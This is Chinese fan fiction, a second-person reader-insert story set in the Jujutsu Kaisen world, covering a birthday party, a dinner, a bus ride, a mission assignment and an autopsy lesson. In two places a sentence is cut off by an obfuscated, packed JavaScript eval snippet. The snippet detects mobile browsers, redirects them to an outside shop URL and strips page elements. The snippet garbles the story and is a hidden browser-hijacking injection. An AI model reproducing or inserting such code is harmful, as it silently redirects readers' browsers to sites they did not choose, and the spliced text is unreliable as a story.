事不宜迟,转动玻璃瓶,你的这次目标是夏油杰,他是个好人,和五条悟的关系也好。你对他扬起一个令他不安的微笑:“前辈对五条前辈的第一印象如何,是好的多还是坏的多,方便具体说说吗?” “……好坏参半,吧。性格上有些不好相处,大概是这样子。” 你的蓄力攻击和被问者的诚实作答共同惹怒了被议论的寿星本人,他两臂横在胸前,重重“哼”了一声。你偏头在硝子耳边用所有人都能听见的音量呢喃:“17岁啊17岁。” 再一次轮转到你的时候,你们已经分完了蛋糕,唯独你吃得最快,瓶口朝向你停下的时候,你在用纸巾擦嘴。残酷无情的七海问了你今天最困扰的一个问题:“如果让你在在场选一个做男友……” 镜像问题:五分钟前,硝子被问“如果要在五条悟和夏油杰之间选择一名男友,你的选择是?理由是?”提问者:五条悟。 她的回答是:“因为世界末日来了,所以选谁也不重要,毁灭吧。”引来两位同期不满,她翘起腿,悠哉喝了一口饮料。 回到现在,你有点苦恼的皱起眉头:“七海,你暗恋我。所以才问这种绝望的问题。” 他的语气波澜不惊:“逃避是没有用的。”但你溢于言表的困扰让他露出了些许微笑。 一个和你关系挺不错的同学竟然在公共场合公然、又一次背刺你,你的表演细胞自发运作起来,哀怨控诉:“怪我信错了人。” 语调转换只在分秒之间,句尾没多久,你立刻严肃给出了答案:“灰原。” “到!诶,怎么了,选我吗?诶诶诶?”因为喜欢饭量大的女孩所以无意之间和你【两情相悦】的灰原瞠目于蛋糕堆中。 七海问你:“理由?” 事实偶尔会不动听,你先试探性说:“在四个炸弹里选一个不会爆炸的……” 同样引发一位正在过生日前辈的不满:“喂喂喂。” 你改口:“灰原最好控制。如果不能选择称心如意的,退而求其次选择保险的也不错。” 你伤了一个热爱大米饭喝可乐的好宝宝的心,他的心情就像是吃了一碗大米饭拌可乐,喜欢大米饭的那一部分灵魂和喜欢可乐的那一部分都沉默了。而七海和你构成了撕扯他灵魂的绳子两端。 是很不客气的回答,不过你和七海之间客气的次数本来就少,他此刻甚至是唇角上扬的:“到底哪个才是真的。” “不是有话说,真理的另一面仍然是真理嘛。” “你从《希腊古瓮颂》上摘的零散句子?” “……”是的,你这阵子还没放弃真理女神弧月的怜悯,也许她愿意收留你这个杯的逃民,收效甚微。济慈的赞美诗语言优美,情感真挚,你在逐字学习其中值得被吸收的一切,七海是在提示你你缺乏文艺细胞呢,顺便表达了他对你回答的不满。 好吧,你确实有点敷衍。 但是这句话并不出自那首诗,明明是七海的老乡说的。斯玻尔,丹麦物理学家。 你妥协了:“快点,再让你问一个问题。” 他把它转让给了硝子,你也睁只眼闭只眼了。 “对了,星夏,你的理想型男友是怎么样的?” “答案是没有。其实,我对男人不感兴趣。” “……你是我们6个里面唯一有恋爱经历的。” “购物节目里都会有【真消费才敢说真话】的情节吧?我就类似那样。硝子,听我一句。”你说这句话的时候甚至没有加上前辈,以下都是血和泪堆砌出来的刻骨铭心的过来人经验,今天就像灰原说的那样,封闭的空间,少年少女,一点点酒精,促使你吐露出一点真心话:“男人都臭臭的,别和男人在一起。” 从KTV出来以后,所有人都觉得你是个受过情伤的女孩。像一只失魂落魄的小狗,需要有人加倍呵护与关爱。 你既不是女孩,也不像小狗,更不需要被爱抚怜爱。 关于五条悟此人,他是那种亲民的富家子弟,是耀眼的咒术领域佼佼者,你对他的粗浅了解以前都到此为止,顶多理所当然的顺带联想到夏油杰和这样的人做朋友应该有一点辛苦,光是追逐就很困难了。 今天,你见证了五条悟今生之大敌。 他的失控在饮酒后的一小时,真心话游戏不知不觉就没人乐意玩,现场进入无组织的失序状态。灰原开始搂着七海的脖子唱歌,你靠在硝子的肩膀上,给灰原来了一张,记录下会在以后让他回忆起来都觉得丢人的时刻。 “你的照相机算是没白买。我们要拍张吗?” “延时拍不好控制画面,会很丑。” 硝子立刻就放弃这个打算:“那算了。” “我饿了。今晚吃什么?”你讲话的时候还连带给灰原摇了两下铃,鼓励他继续放声歌唱。 硝子立刻问同学:“夏油,我们晚上吃什么?” “好像是,这家店。”他露出手机屏幕,你凑过去看,一家把西语放进logo里的店铺,考虑到这里是日本,拍摄的场景又是在一幢明显远离闹市的别墅,大概是需要提前预约什么的很贵私房。 “哦。”你缩了回去。 旁边发呆的五条悟却像突然睡梦中醒了过来一样,墨镜被他丢到了沙发另侧边没坐人的地方,现在也没回收,他问:“你不喜欢?” 客随主便哪有什么喜不喜欢的说法,这问的算是什么话? 话说这种开在东京角落里的小店,卖的却是西班牙融合菜……你活得久,凭图片就能想象出光线昏黄的屋子,6人一排的吧台座位,宣讲理念的主厨,和半生不熟的前菜主菜,高低得还有几盘刺身。 想到这里,你虽然不抱期待,但礼貌摇头:“没有没有。” “你想吃什么?” 事先说好你可对今天的晚餐没有一点点额外要求,日常闲聊中【吃了吗】【饿了】【一起吃什么好捏?】都是一天出现三五次不为过的常见用语,在已经定好餐厅的情况下突然问你想吃什么这件事情也太违和了。 你比决定要入学那天坚定得多:“西班牙菜。” “是吗?”他好像是在问你,但细看他闭上了眼睛,坐在沙发上开始睡觉。 过一会,你才把这个发现说出来:“前辈酒量似乎挺差的。” 硝子赞同:“看出来了。” 最关心朋友的人推了他两下,确认他是真的睡着了,才坐到你们这边来。夏油杰的面色一点不红,一派清明,他是现在状态最警醒的一位:“悟已经不再能维持无下限了。他现在不清醒。” 你还是不明白这意味什么,人喝了酒,不就是会变得醉醺醺吗?区别只在于饮酒量和代谢能力。 “啊?”硝子的反应比你大些,她脸上有未料到的茫然:“他才喝了半杯。” “时间充足,先让他在这里睡一会。”夏油杰还给好友的脖子下垫了靠枕,又给他盖上被子。 说真的,你没听说过有人喝果酒都会一杯就倒,而且没到一杯。你开始怀疑这其中或许有病理性因素。 硝子看了眼同学一点没泛红的脖子,又伸手按压颈动脉,而陷入酣眠的人一点反应也没有:“没有,五条就是单纯酒量差,睡着了。但若是连术式都会失效……以后不给他喝酒了,星夏,剩下一瓶酒我们带回去自己喝。” 还得是同期,一点不带客气的,你惊叹于硝子的魄力,又听她接着和你说起五条术式的特殊性。他自从夏天以来就在尝试探索让无下限成为常驻效果的途径,也就是24小时连续开启。 “困境在于无下限需要精密的咒力操控,而人的大脑就像电脑主机,持续高速运行早晚热坏CPU。” 现在你可懂电脑了,能顺畅交流:“所以散热风扇是?” “我本来想和你说酒精烧坏了他的脑袋,不过既然你问到这里,我也不知道--夏油,五条有和你聊过这个吗?” “也许是反转术式。” 一边透支,一边修复,如果你现在不到20岁,或许会觉得这样残忍而压榨;不过你见惯了方方面面如此运行的世界,你就称赞:“天才的一步棋,他真是优秀的电脑工程师。” 硝子锐评你:“你也疯了。”看得出来她对同期的异想天开并不赞同。 你笑嘻嘻地答非所问:“我喜欢吹空调。” 在家家户户都装了空调之后,就没人能再想象没有空调的岁月了。不过你依然记得,在你还很年轻的时候,你在印刷厂里做过一段时间的工人。 湿热的空气,尘肺病,还有手上怎么都洗不掉的油墨,这就是你关于那份短工的全部记忆了。你信奉没福硬享,很快就跑路,发誓无论怎么落魄也不愿意去工会形同虚设的地方做工人。再后来,你过上了“好日子”,听说有人给厂里装上了调节温度和湿度的大机器:在适宜的环境下,印刷的效率和废稿的比例可以得到有效的控制,产量增加,成本可控,市场份额提升,收益水涨船高。老板于是过上了更好的日子。 在此之余,其中最微不足道的一点,刚好是……工人也可以在更加符合人体接受能力的环境下工作了。尘肺病和0医保照旧,但是总归不会吸进热空气,再吐出一口更热的空气。 瞧,时代是这样的,由人类构成的无意识向前的车轮,它首先的驱动是生产力--先达到指标,即便这中间有一点【小小的牺牲】,然后是进一步扩张,最后最后,才是【人】本身。 大部分时候人只能吃剩的,或者在吃到之前死亡更先一步敲了门。 第一次工业革命的时候你还没出生,但你明白他们圈地的时候也没征询农民的意见。总之……在17岁的时候就知道要把自己的地位往后推,以实现一个暂时看似希望渺茫的目标,与这个残酷的世界不谋而合。你基本可以确定以他的吃苦精神和卓越天赋可以在未来舞台上预定一席之地了。 哦,等等,他已经是最强了?那就期待他实现更多不可能之事吧,虽然最强这个称号实在是有点……你想评价为过时,但是么,其实你才是最过时的那个。 五条悟的术式失效在他醒来后也还没好,此突发事件引起了两位同期的小规模戒严,小到只有灰原被排除在外,他是一只不知疲倦的百灵鸟,仍然在歌唱。 七海被吸引至此,你和他解释当前情况:“因为一些小小的酒精影响,五条前辈的脑子和术式都不太好。” 只喝了两口的五条悟听见了你的话,抽空反驳:“我好得很!” 你不搭理酒鬼:“他没办法使用无下限了。情况就是这样,硝子和夏油前辈正在劝说他放弃今晚的晚餐,直接回高专。” “我不要回去!” 你继续你的解说:“虽然任性至此,但显然他很享受这种被人关心可以倚靠的安全感。” “……”他的沉默是一种认可,他瞪大的眼睛发表欲盖弥彰的反驳。 然而…… 其实这点上你是站在他身边的,倒不是说你真的很乐意去吃已经判定为不太好吃的西班牙融合菜,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664975|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻的孩子想要和朋友好好过个生日的心情……害,谁还没好好做过人呢。你继续公开对你的好朋友七海解说:“想来五条前辈也比较珍视在生日这天与朋友小聚的特别机会,以期能够在未来回想的时候会心一笑吧。” 如果术式失效就不能到处乱跑的话,那全球几十亿人都生活在巨大的恐惧之中,居家办公在5000年前就应该发明出来。你没从【吃顿饭】这件事情上看到什么危险,不过被两个同期环绕的五条悟的快乐溢于言表。 你们的行程没改变,那家店就在三条街外,包厢预定的时间一到,就步行前往。 打头的是特级组合,中间是你和硝子,最后是你的两位同学。 硝子问你:“你很期待今天的晚餐?” 你表述谨慎:“不尽然。” “那你之前那段感动人心的演讲目的在于……” “只是和七海闲聊而已。”深藏功与名……硝子拧你的手背,你重新措辞:“感觉不是什么大问题,而且你们看起来都很期待。我只不过是在场外随口说了两句,真正决策的应该还是夏油前辈。” 她问你:“我呢。” 你说:“看破不说破,留给日本聪明女人的处世之道不多了。” 你又夸她聪明,又夸她擅长处世之道,还概述了她的人生哲学,最后却又被拧了手背。 “星夏,你嘴巴越来越厉害了。” “前辈饶命。”你往她颈间一撞,鼻尖贴上她的脉搏,温热的触感和沐浴露混杂烟草的香气也窜进你鼻尖:“用的什么,好香呀。” 她推不开你,只好任由你贴在她身上走。 用餐环境、灯光水平、主厨的措辞,都和你预料的没什么两样,菜品味道尚且不错。 一口哈密瓜火腿、一口番茄糊糊配鱼生和鱼子酱、两口鹅肝土豆泥、冷制海明威蘑菇,培根被换成了鱼碎,你的心大概也跟着碎了一半。 你坐在七海和灰原中间一口一口地吃,灰原吃不饱,七海面带享受,你对食品的偏好也在二者之间--很难说这菜肴难以下咽或者仅仅是平庸水准,不过嘛,如果它们不是又少又冷就好了。 你吃到了奶油带子和新鲜番茄,好吃。 主菜是乳猪,主厨介绍的时间略长于你吃完属于你的那份。 你想到一件有趣的事情,七海正享受精美佳肴,你不打扰他,凑到同样一口闷因此嘴巴经常空闲的灰原那边去问他:“我们像不像金鱼?” “唔?”灰原睁圆了眼睛,那里盛的非是水而是疑惑。 “一片面包撒下来,扑腾扑腾,鱼吃完了,嗷嗷待哺。”大家在同一片水域干饭,旱涝程度也是彼此难以隐瞒的,你把灰原逗笑了。 主厨把目光投向你,你也纯真地看向他:“先生,我们什么时候可以吃饭呀?” 饭是西班牙海鲜饭,有求必应,你还被多打了一勺,在那之后还有融合了日式风味的烤时蔬,最后以油条和蛋奶冻做结。 主厨还格外关注你:“小姐,够了吗?” 整体来说是一顿得体而不太地道但因味道不错而弥补的美食。或者说……也许在日本,尤其是私房餐厅,它们恰巧更关注创新也不一定? 你相信它的账单应该也不比传说中的怀石短,如果不是店里这也没有那没有无法加菜的话。 你们在餐后去吃了韩式部队锅。 起因是,那时候你们都快走到公交站台了,你的术式仍然没恢复的前辈冷不丁问你:“铃木,你还想吃什么?” 你把脑袋里加载有一会的回答立即吐了出来:“韩国菜,年糕芝士鸡爪午餐肉和泡菜。” “……别再做ai。还有你之前那句话,他们应该再也不会接受我的预定了。” 你本想说开餐馆的好生傲气,不过考虑到时代变了,你就说:“预约制的餐厅有些不公开的择客条件也是寻常。对了,难道只有我一个人没吃饱吗?”反正,你觉得它没好吃到五条悟会想过来预约第二次,而且他不会为了餐厅这种事情和你计较。 他的心眼其实不太小。 果然,五条悟的声音闷闷的,透着慵懒:“你是不是在下午包厢里就预料到了……其实我也没吃饱。灰原,你呢?” “嗯……我知道有一家很好吃的部队火锅,离这里不远。” 接下来的事情就顺理成章了,你在灰原领队时戳戳他的肩膀,赠与他一个赞赏的手势。 饱餐两顿后,你跟着大部队走出暖气缭绕的屋舍,寒风冷月让你眯起了眼睛。硝子趁你伸懒腰的时候又摸了摸你的肚皮,“平的”她说。 你故弄玄虚:“难以饱足是命运对我的诅咒,偶尔,这造成困扰。”然而这话是真的,赤杯的诱惑之数多于其苦痛,但苦痛才是它的真本性。生诞是第一苦痛,而干渴是第七苦痛。你了解的还是有些晚了,所以不明不白挨了很多饿。 “所以说你什么时候才能放弃谜语人一样的言语表达?”五条悟竟然趁你仰头的时候拽了一下你的头发。 “硝子前辈,救我。” “正在编辑晚点要发的动态信息,勿扰。不过等回去你发几张照片到我邮箱,谢谢。” 上网真的有这么好玩吗?你扪心自问,答案是真的有,因此也说不出责怪的话,启动第二选择:“夏油前辈呢,救救。” “悟,不要欺负铃木。”以反应速度来看,这位才是真ai,五条悟不撒手的动作也像个小孩,不过在柔性劝导下他最终还是放手了。 好心人夏油杰还帮你把被攥在手里有一会的头发用手指细细梳开,确保它们不打结,很快,你们乘上了回往高专的返程车。 18. 第 18 章 巴士上,你最偏爱倒数第二排,它的位置就和前面几排一样仅有2个,却不像最后一排那样拥挤,视野则仅次于最后一排的好,可以几乎总览全车,而且这里多半也是窗户可以开口的地方。 冬天你不开窗,你在透过窗户看月亮。 前面一排不靠窗位置上的五条悟趴在座椅上回过头,他一动不动盯着你,你不看他。他的旁边坐着看破不说破的硝子,她也同样不搭理举止异常的同学。而你的旁边……是七海。你们算是默契的把和尊敬前辈坐一起的机会让给了灰原。他和夏油杰坐在最后排。 五条悟这样的姿势无论车是如何颠簸都不变,耐心也不错但是败在脸皮微薄的七海终于开口:“前辈,怎么了?” “嘘,我在观察铃木。” 距离五条悟喝下那杯酒已经过去了接近6小时……酒品和酒量一样匮乏的前辈一枚哇! 七海在几分钟以后向你施压:“铃木,我不喜欢坐在车上被别人看。” “对对对,只有我喜欢。”讲的好像你很乐意一样。 五条悟鼻尖冒出的轻哼还有从座椅前露出的小半张脸,无一不让你联想到正在匍匐狩猎并且嗓眼里发出咔咔声的猫,嘴部颤抖,下颌活动,科学家已经验证出,这是他们在假装已经捕捉到了猎物。 好奇是踩坑的第一步,但这无伤大雅,你忍不住猜想他的猎物是什么。 于是你终于决定开口了:“怎么了前辈?” 他的眼睛就一下睁圆了,闪过一道蓝光,那是他紊乱的术式:“铃木,我问你……” 你不得不再施舍他一个问号:“嗯?怎么了?” “你为什么选灰原?” “……”现在轮到你审问七海:“无论是那个时候还是现在,事情都是你引起的,七海。考验你解决问题能力的时间到了。” 压力给到同期,七海开始低头玩手机。但是理亏的同学解决不了眼前甚至越过座位吵你逼近的前辈,五条的平衡能力如果差点就好了,栽在地上长个教训,可惜没有。 他的声音被故意拖得长长的,就像是粘牙的糖果:“铃……木,至少也应该在杰和我之间选一个吧!怎么能是灰原呢!” 你认为他作为前辈应该有对后辈应有的关怀,义不容辞强调:“喂喂喂你这样说的话灰原可不会认可。” “哼,你说他好控制!他就认可了吗?” 后面传来了委屈的声音:“那个--我听得见。” 退一步说,好吧,大家都有错。 好奇害死猫,你仰头靠在座椅上,对你自尊心有点强并穷追不舍的前辈说,语气认真:“退一步讲,如果七海愿意追求我--” “失礼了。”你旁边突然就空出一块,七海腾地方去了最后一排,落座于靠左的最角落。 你选择投降,讲出最浅显的理由:“感觉在我说出‘五条悟’的下一秒你就会发出爆笑并且嘲笑我,所以一开始就把你排除掉了。而且你拽我头发。” 他反驳你:“那是后来发生的事情,不可以作为之前的依据。” 哟,这时候逻辑还挺清晰的。 他又告诉你,眼底泛起一层水雾,流转名为狡猾的波纹。声音像是在诉说一个只告诉你的秘密:“如果你是我女朋友,我就不会拽你头发了。” 令你惊讶的是,在这里他竟然自称boku。 不过也不能指望喝醉了酒的小朋友有多聪明,思维有多长远,是不是?你盯着他看了一会,一闪而逝的蓝光昙花一样,他认真的样子像是在努力记住你的脸。 亮白的皮肤看起来吹弹可破,他长得好看,而且胡搅蛮缠,你就让他一次吧。于是你点点头,告诉他:“其实我私心是想选你的,前辈,因为你--” 还没说出口,他哈哈大笑得偿所愿:“上当了吧,我才不喜欢你!你要掉眼泪了吗?要哭了吗?” 在他歪过头看你之前,你说:“失礼了。” 然后坐到七海旁边,最后一排也不错。又过了一会,你们对视一眼,不约而同笑出了声。 “都怪你。”你并没有责怪意味。 七海其实很少笑,他长相随他祖父(你猜的),外国人普遍显成熟,就算刚刚在店里他要求店员上一瓶烧酒,对方也多半会把他当做男性成年客户那样招待的。 “你是故意让五条前辈得意的。” “嗯,对。我对男人没什么偏好。”说到这里你也变得狡黠:“但如果是你的话,七海如果你和灰原同时追我……” “打住。” 又过了一会,你主动和七海分享你曾经听过的一个有关月亮的神话。月色皎洁,但令人遗憾的是祂远在天边,不属于你。 “我曾经听过这样一个传说,关于居住在月亮之上的仙女。” 【有一名女性,凡人,贪恋长生,于是前往神明的居所,窃取长生不死的药,服用,凡人的世界就也容不下她,于是奔向月亮。】 他习惯你突然有感而发:“那她挺厉害,神明的东西也敢偷。” 忘了,七海祖籍有一部分来自欧洲,欧洲偷神的东西就不太好,比如普罗米修斯…… “哎呀,你听我接着说。” 【不过神话终究只是口口相传的东西,想要塑造或者改变那实在太简单了,你懂的,意识形态。于是后来故事变成了这样。】 【有一个英雄,男人,拥有一些救万民于水火的丰功伟绩,他还有一个妻子。他的丰功伟绩令神明都乐意接见,于是在觐见后,他请到一颗不死药。那个妻子偷了药,服用,飞到月亮,从此天人两隔。】 这个故事他就听说过了:“嫦娥,对么。不过我不知道原来一开始的版本是那样。” 你笑着告诉他:“也许在女人的故事里加上一些男人,会让大家感到兴奋,再说这还有一些不足为外人道的古早xp。”有些人就是很乐意幻想被背叛,唉,不好说的。 他问你:“你想通过神话说明什么?” “看到月亮,正好想到嫦娥,又想到一些诗人的绮丽辞藻……碧海青天夜夜心。”你眼珠子咕噜一转,诗词赏析这种活计你可不在这里干:“永生,还能不住在地球上,这种好事怎么就会让人后悔呢?幻想离开丈夫的寂寞,幻想背德的悔过,幻想近乎永罚的罪愆,哎,临死之前的幻想罢了。” 如果背叛一个男人就能得到弧月的青睐,无论是谁你都会去做的,你想。 你离经叛道的话语像是为车内按下静音键,好了,现在觉得你愤世嫉俗的人可能也变多了几位。 七海对你猝死的文艺细胞表示了哀悼:“你要是这样想那我也没办法。” 又过了一会,七海添了一句:“现在我相信你对恋爱没兴趣了。” 他对你无话可说。 在几天之后,你们的老师向你们宣布了一个激动人心的好消息,在下一次发钱的时候,你们的任务奖金会有8%到15%不等的上浮。 “你是不是忘了前提,我们要成为二级咒术师。” “我觉得只有灰原会真心诚意为这个小测验感到紧张……”七海是坐在你们三人中间的那个,你越过他,果然看见了灰原全神贯注在听夜蛾老师讲话的脸。 如果你是老师的话,多教灰原这样的学生绝对会有成就感。业绩先不谈,他能提供几乎所有的情绪价值。一年级三人的情况你是知道的,二年级么……硝子夏油五条,也不难想。然而不好教的学生又是特级又是反转术式,已经成为校长的夜蛾正道所达成的指标也不是其他教师能碰瓷的:特级这十年也就出了三个,先是在六眼还没入学之前横空出世的九十九由基,再之后是和六眼同时间崛起的夏油杰。 三个人中的两个是夜蛾老师的学生,你没做过老师,但是你几乎可以想象他独自一人的时候或许嘴都笑翘起来了的样子。 总之,回到并不值得在意的随堂检测上,独自祓除二级咒灵对你们三人不构成任何困难。 七海还想和你说什么,但是夜蛾老师宣布完消息后就叫走了你:“铃木,你和我来一下。” 学生时代最不想听到的话排名前三。 你们走到走廊最深最深处的办公室门口,中途还越过了只有硝子一人在内的教室,其余两张桌子空置。夜蛾老师问了你【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664976|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最不想听到】榜排名第一的问题:“书看得怎么样了?家入之前给你整理的书册。” 糟糕的开头。你说:“看了一部分。” 于是老师不得不捏了捏鼻梁,用接下来的三分钟时间跟你说明为什么医学基础理论知识如此重要。“有关九大系统的基本结构、形态和位置的掌握程度决定了施展反转术式后的恢复效果。对于严重受损的咒术师来说……如果你不知道原理,发动了反转术式也无法修复认知以外的创伤;如果你不知道脏器所处的的位置,就会极大阻碍受助者恢复的进程,严重的甚至会--” 他好心的没让你成为把人治死的医生,说到这里就停止了。“不管怎么说,我认为你应该多费心思在医学上。” 你回头,果然看见了从教室里探出头的硝子。她离你不远,悠闲地听老师训诫后辈之余,还对你招了招手作问好。 你差点就要答应他好好学习了。 读书对你来说不算难事,只不过你最近在文学和神话学上下了一点功夫,医学……跨专业太远了,不想多碰。 只是在你开口之前,他突然严肃并且大声地告诉你,其声震楼外飞鸟,引得枝杈上雪纷纷落下:“然而,总监部却对你有另外的要求。能被监测到的咒灵行动越来越高频,每一个咒术师都是珍贵的中流砥柱,他们希望维持当前的出任务频率。” 挺好的嘛,高层。 你喜欢出任务,咒灵的性命就是你在越积越多的筹码,等到时机合适,你就可以使用甚至挥霍它。 “唔,之前不是说一级才是中流砥柱的?您上课说的。我三级。” 热血教师对你没话讲,不过他爱泼冷水的学生很多,你不是第一个,也不会是最后一个:“假以时日你会成为一级,你的术式还有格斗技辅助监督和我都看在眼里,铃木,你同样适合战斗。” 你不傻:“是不是有人和您说,硝子前辈的工作量还远不到饱和,所以我这样的万能插件还是到祓除咒灵的那一边比较好?假设真的有那一天,实际上永远不会到来,再把我灵活调剂到医师这里来?”如果需要治疗的咒术师和其他伤员变多了,恰好也能说明咒灵越来越不受控制,也就是说咒术师只会加倍的缺人。你更不可能到医务室待命。 老师的目光锐利如刀,透过深黑的墨镜也能抵达你周围。在你方才出言拆台的时候他也没有这样。夜蛾正道是个好老师,关心学生,良知未泯,然而在总监部的管辖下身不由己是常态,他的自由范围正如夜蛾飞向火光的疑问:是,或者否,没有其他中间的答案。 你想起了那个东南亚的民间流传:在小象小的时候为它套上鼻环,以确保它长大了也不会想要挣脱。好吧,高层是很懂从孩子抓起的。 老师坚毅宽阔的脸就是答案,但他对你已经足够优待了,至少在这点上如此。你同样感念他的好意:“我喜欢祓除咒灵,也喜欢钱,能多赚钱是好事。老师你也知道,我花钱很快。所以没关系的,我暂时……不太想拒绝您。” 他突然说这么凶可能是想让你当面拒绝他,如此他的工作完成,不落话柄。你这样猜想。不过不管他们的职场环境如何,多和咒灵接触接触对你有很多好处。 最后,你被安排和两位特级前辈一起行动:“你以后的任务和悟还有杰一起行动,可以得到锻炼,且不会有危险。你的反转术式才能无论是总监部、高专,还有我个人,都有目共睹。” “两位前辈知道这件事情吗?” “他们会知道的。” “硝子前辈那边呢?” “你继续和她学。” 你其实不情愿和特级一起行动,你本来就不会有危险,加上……在你拿出小刀之前他们就会把任务直截了当的结束,加上夏油杰会隐忍而虔诚地把咒灵吞下,留给你的连残羹冷炙都没有。 不过就和你的老师一样,你也带入了职场中偏下位者的角色,不会在工作刚布置到你这边的时候就推拒。反正到时候会有无法继续跟进的客观原因123的,你乖乖应下了这件事。 事实上,从12月7日以来,你已经有一阵子没见过五条悟和夏油杰了。 19. 第 19 章 成为二级确实没遇到任何阻碍,灰原的紧张情绪在被放置废弃大楼里的咒灵悉数祓除后烟消云散:“真的很简单诶!” 作为短期内一起出行的最后一顿饭,你选了比较有纪念意义的烤肉。 “是你自己想吃吧。”七海戳穿你。 “也……还好。” 一点说服力也没有。 吃饭的时候,灰原问你:“铃木,到底为什么你要和前辈们一起出任务啊。我们三个一起不是挺好的么?” “七海,你说。” “你自己说,再说我也不知道老师为何这样安排。” “你不知道?”你重复了一遍他的话,“我以为你是资本主义国家出来的所以很懂呢。” “……这是刻板印象,而且我在日本长大。”他生气了。 七海是你的在高专里认识的最不热血的一个,他又有一副置身事外的冷眼和聪明的脑袋。你耸了耸肩,回答:“因为我会反转术式,又会祓除咒灵,大家更希望我能多发光发热。不过只是跟在强者后头学习一段时间而已,我猜等到一级就能申请离开。”不过在那之后很可能是你一个人配一个辅助监督并且进行任务。 回去的路上,七海说没想到你会只和灰原说这些。他居然不相信你的言语水平,令人震惊。 “小小测试就让他几天少吃饭了。不过出于对人性的考量,我认为灰原身上也有点装聋作哑的天赋……你瞧他自己乐得做咒术师,但是无论如何都不愿意让里奈入学,谁能说这不是一种优美的状态呢?”所以你不打算惊醒一个憧憬美好的好人。他未必会睁眼相信,但一定会相当不自在,别给孩子徒劳增加痛苦。 “这是分享秘密的环节?你接下可能还会说【我只和你说这些】。” “所以说我完全被你看透啦,七海。不过如果是的你话,应该早就知道这些,所以我说的话也不会让你更难堪。纵然是中流砥柱,但如果数量实在不太稀缺,就也是可以被舍弃掉的,你说对吧?不过我们都不会轻易上当受骗。”死小子怎么长这么高的,你不得不扯他的臂弯处外套让他不许站直了。 过了一会,灰原凑上来:“你们在说什么?” “让七海多照顾你,两天换一次水,一周三瓶可乐,还有定期出去吃饭,吃饭可以喊我一起。” “……我到底是植物还是仓鼠!” “是我冒犯了,请你喝可乐。”你松开手,七海终于可以自由自在的走路,你搭上灰原的肩膀。 “我要喝600ml装的。” “哎,你现在是胃口大。真的没有必要为了面子硬买大瓶。”你被灰原带进了超市,出来时,你和七海手上多了茶和咖啡,他还额外要求买了一个面包。 第二天,在一切任务开始之前,硝子打响了你的电话:“你过来医疗室一趟,然后往下走两层。” 往下走两层……“那不是--” “对,有一具新鲜的。昨晚没逃过诅咒师的辅助监督,生前签署了遗体捐赠。我想你没见过实体,在解剖的时候你可以在场观摩。” “你什么时候开始做这些了?” 她的声音在出声筒里只留下带电流的叹息,然后说:“快要秋天的时候吧,如果方便的话,在售货机帮我带杯咖啡。” “好的。” “对了,你没吃早饭吧?” “还没。” “很好,别吃。那样就不会呕吐。” 你看了眼手边的速食包装袋:“不至于……” -- 你确实在太平间干呕了。挥之不去的消毒水味道和淡而无法忽视的尸体味,这个灯光比教师还明亮很多的惨白寒冷地方曾经装过许多人。 “大部分是辅助监督,我想你应该知道。”她用拿手术刀的手给你递了张纸。“拖把在那边,洗手间出门左转到顶。” 幸好没吃饭,你只看见了那个遗体一眼,甚至没看清她的脸:“让我想起了很久以前在医院搬尸体的日子……” 硝子呵一声,语调有点伤感地告诉你:“很有趣,如果她也能坐在这里听就好了。” 那事情就会变得恐怖起来,你擦了擦嘴,又出门去漱了口。 说到搬尸体,你也是确实干过这个临时工活计,薪资低,传染性强,工业化的时代痛点……从肺结核到流感,真幸运你从没感染。也没干多久,因为后来医院把你辞退了,用1英镑。你本以为有了很久以前的经验积累会没事的,未曾想时间改变了许多事,或许你也变得娇生惯养起来,或许你早就真正忘记了以前的苦难生涯。 高专的学习时间不长,但你对这里的生活说得上喜欢。 回来以后,家入硝子指导你穿上服装做好防护,她解释道:“可能会有□□渗出。” 她有穿插着问了你几道常识,你一一作答,从眼睛的形状来看,对方作为教导着应该挺满意你的学习进度。最后她说:“不错,看来你有认真看书。夜蛾老师也会高兴的。” 等你也套上了手套,围上白色的围挡,她就开始和你说y字切开法,在一阵丝滑但刺耳的声音后……也许刀尖和皮肤的摩擦根本静默无声,那也只是你的幻觉。硝子声音低低,透过口罩也有几分模糊:“从左、右乳突……” “我比较偏好这样的方式,因为美观,事后穿上高领的衣服就可掩盖缝线。” “创面不大,肝脏受损,心脏……她没受很多苦。和另一名幸存的辅助监督说明情况可以相互映证。” “因为有幸存者,这次的尸检结果只作为辅助验证。” 最后,她说:“无论如何,她都为咒术界付出了自己的一生。” 这里的房间自带淋浴,结束后,你们分别进去洗净了身体。你换上高专的校服后还嗅了嗅自己的胳膊,只能闻到高档沐浴液的味道。 “那是我带过来的,你可以随便用。” “很好闻。” 锁上冷冻柜,关了灯又反锁门后,你们在无人的走廊上走着,到电梯时她告诉你,这条走廊长期开灯,不需要特意节约。 出去后硝子问你:“你现在想去做什么?” 你看了一眼太阳,时间已经差不多:“没吃早饭,饿了。你想出去吃饭吗,前辈?” “你还真是……油盐不进。” 阳光照下就可以驱散阴霾。 你们闲聊的时候还遇见了硝子的两个同学。其中,很久没和你说过话的五条悟见到你眼神先躲闪了一下,但终究他选择主动出击:“铃木,路过教室的时候没看到你,今天应该不是你和硝子学习的时间,你去偷懒了?” 看来喝醉这件事给了他一点心理阴影,但不多。你和他们打了招呼,但没回答他的问题。夏油杰问你们准备上哪去,硝子说:“吃饭,铃木你想去哪里?” 